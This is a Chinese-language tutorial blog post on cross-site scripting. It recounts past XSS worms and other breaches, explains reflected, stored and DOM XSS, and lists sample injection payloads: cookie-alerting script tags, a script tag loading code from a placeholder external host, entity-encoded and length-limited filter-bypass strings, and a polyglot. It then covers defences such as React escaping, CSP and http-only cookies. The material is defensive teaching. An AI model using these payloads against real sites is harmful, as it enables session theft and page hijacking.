网络安全那点事-XSS篇

有人说,技术分享就像找女朋友一样,不是靠追的,而要靠吸引!

安全案列介绍

所以,开篇先来聊点有趣又震惊的一些业界安全案例吧!

XSS攻击案列


  • 2005年10月,一个名叫Samy的人在网上发布了一片文章,在文章中他说找到了一种方法可以借助MySpace网站自身存在的漏洞实现自动化添加自己到别人的空间中,并且经过测试,在3个小时内添加了2429个好友,同时收到了6373个来自MySpace上其他人添加自己为好友的请求,由此而 导致了大量的恶意数据和垃圾信息在MySpace上传播,对网站和用户都造成了巨大损害。

  • 2007年12月25日晚,当时百度空间自定义CSS的地方过滤不严导致出现一个持久型XSS漏洞,有黑客写出了利用这个漏洞进行XSS攻击并自我传播的 JavaScript恶意代码。感染该蠕虫的空间将会在空间中植入恶意代码并修改访问该空间的其他百度空间用户的CSS植入XSS攻击代码,还会向好友发送消息诱骗好友来访问中毒的空间。截至26日晚7点百度空间找到原因并修复漏洞,有大于8000个用户空间感染了蠕虫代码。

  • 2009年,著名的社交网络Twitter在这一年的时间里连续6次爆发多规模传播的XSS蠕虫攻击病毒

  • 2011年6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等微博消息和私信,并自动关注一位名为hellosamy的用户。

  • 当然人人网、搜狐博客这些历史的尘埃也没逃过xss蠕虫的攻击

其他方式攻击案列

  • 2011年12月21日,CSDN用户600万账号密码(密码为明文)数据泄露

  • 2017年5月12日,WannaCry蠕虫通过MS17-010漏洞在全球范围大爆发,感染了大量的计算机,该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。受害者电脑被黑客锁定后,病毒会提示支付价值相当于300美元(约合人民币2069元)的比特币才可解锁。

  • 2021年初,黑客结合旧版Accellion文件传输设备(FTA)中多个零日漏洞工具,向外泄露数据,要求付款以确保归还和删除数据。

  • 2021年2月在佛罗里达州皮内拉斯县举行的新闻发布会上,治安官鲍勃·瓜尔蒂里(Bob Gualtieri)宣布了一件令人震惊的工业网络安全事故——一名黑客侵入了奥兹马(Oldsmar)(人口约15000人)的水处理系统,将该市的氢氧化钠供应水平从百万分之100提高到了百万分之11100。这是一起令人起鸡皮疙瘩的投毒事件!氢氧化钠,也被称为碱液,是一种高腐蚀性的化学物质,是液体下水道清洁剂的关键成分。万幸的是,此次事件中,攻击者一离开计算机系统,水厂的操作员就将化学物质浓度恢复到正常水平。本次事件中黑客是通过远程访问软件TeamViewer来访问水处理厂的监控和数据采集(SCADA)控件,该软件是安装在水处理厂工作人员用来进行系统状态检查和对水处理过程中出现的警报或任何其他问题作出反应的几台电脑中的一台上。

  • 2021年3月电脑巨头宏碁(acer)遭遇REvil勒索软件攻击,攻击者向其索要5000万美元的赎金,如未按期缴纳赎金,将翻倍。据BleepingComputer,Advanced Intel的Andariel网络智能平台检测到,Revil团伙似乎瞄准了宏碁域名上的一台微软Exchange服务器,才导致了此次的数据泄露事件。

XSS介绍和实践攻防

XSS的介绍

跨站脚本攻击,英文是:Cross Site Script,缩写应该是 CSS,但是为了和 CSS(Cascading Style Sheet)层叠样式有所区别,所在安全领域叫做 “XSS”。

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因
   程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
   输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
   输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

XSS的分类

1. 反射性XSS;
  • XSS 脚本来自当前 HTTP请求
  • 当服务器在 HTTP请求中接收数据并将该数据拼接在 HTML 中返回时
2. 存储型XSS;
  • XSS 脚本来自服务器数据库中
  • 攻击者将恶意代码提交到目标网站的数据库中,普通用户访问网站时服务器将恶意代码返回,浏览器默认执行

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

3. DOM型XSS;
  • 类似反射型,区别在于 DOM 型 XSS 并不会和后台进行交互,前端直接将 URL 中的数据不做处理并动态插入到 HTML 中,是纯粹的前端安全问题,要做防御也只能在客户端上进行防御。

XSS的攻击实践

经典注入案列

  1. Script 标签
<script>alert(document.cookie)</script>
<script>alert("XSS")</script>
<script src="http://xxx.com/attack.js"></script>
  1. Javascript URL
<a href="javascript:alert(document.cookie)">点我啊!</a>
<img src="x" onerror="alert(document.cookie)">
  1. 针对做了一些过滤的
  • Unicode字符转换;可使用上面工具将字符作相应替换,跳过黑名单类型过滤
<scRiPt>alert(1);</scrIPt>
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> 
<img src="x" onerror="&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0064;&#x006f;&#x0063;&#x0075;&#x006d;&#x0065;&#x006e;&#x0074;&#x002e;&#x0063;&#x006f;&#x006f;&#x006b;&#x0069;&#x0065;&#x0029;">
  1. 针对长度有限制的,如20字符
<svg/onload=alert``>
<script src=//ffff.pw>

请注意,ff只是一个字符,但是当浏览器解析它时,它将表现为ff,即两个字符。
这就能帮助我们大幅减少购买域名的花费(短域名比较贵)。
ff对应到ff
℠对应到sm
㏛对应到sr
st对应到st
㎭对应到rad
℡对应到tel

  1. 覆盖性检测
    在Unleashing an Ultimate XSS Polyglot一文中,提到这么一个方便的检测代码

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

入侵方式总结

  • 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
  • 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
  • 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代码。
  • 在 style 属性和标签中,包含类似 background-image:url("javascript:..."); 的代码(新版本浏览器已经可以防范)。
  • 在 style 属性和标签中,包含类似 expression(...) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

XSS防御

React 如何防止 XSS 攻击

React 官方中提到了 React DOM 在渲染所有输入内容之前,默认会进行转义。它可以确保在你的应用中,永远不会注入那些并非自己明确编写的内容。所有的内容在渲染之前都被转换成了字符串,因此恶意代码无法成功注入,从而有效地防止了 XSS 攻击。

  1. 自动转义
    React 在渲染 HTML 内容和渲染 DOM 属性时都会将 "'&<> 这几个字符进行转义

  2. React 0.14 修复手段是用 Symbol 标记每个 React 元素(element)
    在React的ReactElement对象中,有一个$$typeof属性,它是一个Symbol 类型的变量,

symbol类型是es6新增的一个基本数据类型,表示独一无二的值,最大的用法是用来定义对象的唯一属性名

var REACT_ELEMENT_TYPE =
  (typeof Symbol === 'function' && Symbol.for && Symbol.for('react.element')) ||
  0xeac7;

ReactElement.isValidElement函数用来判断一个React组件是否是有效的,下面是它的具体实现。

ReactElement.isValidElement = function (object) {
  return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
};

可见React渲染时会把没有$$typeof标识,以及规则校验不通过的组件过滤掉。
如果你的服务器有一个漏洞,允许用户存储任意JSON对象, 而客户端代码需要一个字符串,这可能会成为一个问题:

// JSON
let expectedTextButGotJSON = {
  type: 'div',
  props: {
    dangerouslySetInnerHTML: {
      __html: '/* put your exploit here */'
    },
  },
};
let message = { text: expectedTextButGotJSON };
<p>
  {message.text}
</p>

这是个有效的办法,因为JSON不支持 Symbol 类型。所以即使服务器存在用JSON作为文本返回安全漏洞,JSON 里也不包含 Symbol.for('react.element')。React 会检测 element.$$typeof,如果元素丢失或者无效,会拒绝处理该元素。

特意用 Symbol.for() 的好处是 Symbols 通用于 iframes 和 workers 等环境中。因此无论在多奇怪的条件下,这方案也不会影响到应用不同部分传递可信的元素。同样,即使页面上有很多个 React 副本,它们也 「接受」 有效的 $$typeof 值。


如果浏览器不支持 Symbols 怎么办?

唉,那这种保护方案就无效了。React仍然会加上 $$typeof 字段以保证一致性,但只是设置一个数字而已 —— 0xeac7。

为什么是这个数字?因为 0xeac7 看起来有点像 「React」。

XSS防御总结
客户端如何防止 XSS 攻击
  • 利用模板引擎 开启模板引擎自带的 HTML 转义功能。例如: 在 ejs 中,尽量使用 <%= data %> 而不是 <%- data %>; 在 doT.js 中,尽量使用 {{! data } 而不是 {{= data }; 在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat。
  • 避免内联事件 尽量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
  • 避免拼接 HTML 前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
  • 时刻保持警惕 在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
  • 增加攻击难度,降低攻击后果 通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
  • 主动检测和发现 可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。
服务端如何防止 XSS 攻击

服务端作为最后一道防线,也需要做一些措施以防止 XSS 攻击,一般涉及以下几方面:

  • 在接收到用户输入时,需要对输入进行尽可能严格的过滤,过滤或移除特殊的 HTML 标签、JS 事件的关键字等。
  • 在输出时对数据进行转义,根据输出语境 (html/javascript/css/url),进行对应的转义
  • 对关键 Cookie 设置 http-only 属性,JS 脚本就不能访问到 http-only 的 Cookie 了
  • 利用 CSP (https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP) 来抵御或者削弱 XSS 攻击,一个 CSP 兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本 (包括内联脚本和 HTML 的事件处理属性)

参考文献

最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容